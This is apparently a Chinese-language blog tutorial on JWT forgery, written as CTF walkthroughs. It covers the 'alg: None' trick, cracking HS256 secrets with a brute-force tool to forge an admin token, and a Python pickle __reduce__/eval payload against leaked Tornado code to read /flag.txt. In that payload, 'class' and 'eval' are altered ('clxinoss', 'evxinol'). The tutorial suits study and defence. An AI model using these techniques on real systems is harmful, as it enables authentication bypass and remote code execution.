浅谈JWT伪造攻击

lxf2023-04-05 20:02:01

我正在参加「AdminJS·启航计划」

前言

今天给大家讲解一个常见的漏洞攻击方式,即JWT伪造漏洞,该漏洞是由恶意用户修改已有的JWT格式内容来进行绕过身份检测和访问控制造成的,本文会对JWT格式以及该漏洞的基本利用流程进行分析,接下来先学习一下基本内容。

JWT

JSON Web Token (JWT) 是一种标准化格式,用于在系统之间发送加密签名的 JSON 数据。它们理论上可以包含任何类型的数据,但最常用于发送有关用户信息的声明,作为身份验证、会话处理和机制的一部分。主要用途就是进行信息验证,通常存放在cookie或者请求体里面。下面是其基本格式:

{
  "sub": "1234567890",
  "name": "xino"
}
标准中注册的声明 (建议但不强制使用) 
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击

简单分析一下其结构,JWT由三个部分组成,分别是头部(header)载荷(payload)签证(signature) ,其中头部声明了类型以及加密方法,载荷存放数据,签证存放签证信息。

浅谈JWT伪造攻击

JWT伪造的目的就是修改里面的数据来绕过JWT的检测。

案例

案例一

下面是一个简单案例,首先进入网页然后抓包:

浅谈JWT伪造攻击

我们对其cookie里的值进行解密:

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1632622589,"exp":1632629789,"nbf":1632622589,"sub":"user","jti":"d3eb4ee8218c2cfe5e0d123923e4743a"}]

使用解密网站:

https://jwt.io/

将sub后面的user改成admin后进行编码,然后替换整个cookie值,实现发包,之后成功进行了绕过。

案例二

某些签名算法,例如HS256(HMAC + SHA-256),会像密码一样使用一个任意的、独立的字符串作为秘密密钥。我们有时需要破解密钥来构造攻击代码,下面看一个案例:

抓包后找到JWT的值,然后我们使用工具进行密码爆破,这里推荐一个工具:

https://github.com/brendan-rius/c-jwt-cracker

浅谈JWT伪造攻击

得到密码为aaab,于是我们便可以修改JWT里面user为admin:

浅谈JWT伪造攻击

实战

这里给大家带来一个题目方便大家更加深入了解该漏洞,进入网站后是以下界面:

浅谈JWT伪造攻击

需要我们购买按钮后提示我们账户余额不足,可能存在逻辑漏洞,于是我们继续分析一下。尝试修改发包里面的内容:

浅谈JWT伪造攻击

可以看到存在一个admin验证的操作,仔细想一下,因为要验证所以我们的请求包里一定有验证信息,包中的JWT表示的正是身份,因为需要密码,所以使用上面提到的软件进行爆破:最后得到密码为:

1Kun

我们就可以修改我们想要的内容了,具体参考下图:

浅谈JWT伪造攻击

我们抓包后修改JWT内容进行发包:

浅谈JWT伪造攻击

成功绕过检测:

浅谈JWT伪造攻击

下面的操作就不涉及jwt伪造了但涉及了之前讲过的pickle反序列化操作,在这个页面存在源码泄露:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')


    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

我们可以修改become参数,这里存在pickle反序列化操作,具体可以参考我之前的文章:

Admin.net/post/715376…

需要我们构造一个对象,里面的reduce方法是python的扩展类型,当对象被反序列化时就会调用__reduce__函数,进行执行命令执行函数,然后打开存放/flag.txt的文本。

import pickle
import urllib


clxinoss payload(object):
    def __reduce__(self):
       return (evxinol, ("open('/flag.txt','r').read()",))    


xino = pickle.dumps(payload())  
xino = urllib.quote(xino)  
print xino

构造生成后直接传入参数即可实现命令执行。

浅谈JWT伪造攻击

结语

今天给大家带来的是JWT伪造攻击,简单来说就是需要对JWT的格式进行构造从而实行绕过的操作,也是网站中经常会出现的漏洞,会照成严重的后果,我们要学习该漏洞的原理来推进防护措施,喜欢本文的小伙伴希望可以一键三连支持一下。